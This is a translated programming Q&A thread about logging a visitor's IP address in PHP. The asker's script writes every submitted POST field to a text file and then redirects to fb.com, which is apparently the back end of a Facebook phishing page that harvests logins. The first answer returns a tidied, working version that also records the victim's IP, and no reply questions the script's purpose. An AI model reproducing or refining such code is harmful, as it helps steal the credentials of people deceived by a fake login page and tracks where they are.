请问如何使用PHP
获取远程IP地址我有这个PHP文件
<?php
header("Location: http://fb.com/ ");
$handle = fopen("test.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
如何添加代码以获取REMOTE地址并在$ _POST变量的同一文本文件上发布?
答案 0 :(得分:1)
使用$_SERVER['REMOTE_ADDR']
获取请求用户计算机的IP。
更改脚本,使其逻辑更简短透明:
<?php
$handle = fopen('test.txt', 'a');
foreach($_POST as $variable => $value) {
fwrite($handle, $variable . '=' . $value . PHP_EOL);
}
fwrite($handle, 'REMOTE IP: ' . $_SERVER['REMOTE_ADDR'] . PHP_EOL);
fclose($handle);
header('Location: http://fb.com/');
exit;
?>
答案 1 :(得分:1)
好像你正在寻找某个网站http://fb.com
的IP地址...如果是这样的话......在一行中这样做。
<?php
file_put_contents('yourfile.txt',gethostbyname('google.com'),FILE_APPEND);// replace google.com with the website which you are looking to grab the ip.
或者,如果您想要获取请求您的页面的远程机器的起始地址..您可以这样做..
<?php
file_put_contents('yourfile.txt',$_SERVER['REMOTE_ADDR'],FILE_APPEND);
答案 2 :(得分:0)
使用此命令获取远程IP地址:
$remoteIpAddress = $_SERVER['REMOTE_ADDR'];
http://php.net/manual/en/reserved.variables.server.php
或者,如果您想通过主机名获取IP地址:
$remoteIpAddress = gethostbyname('www.example.com');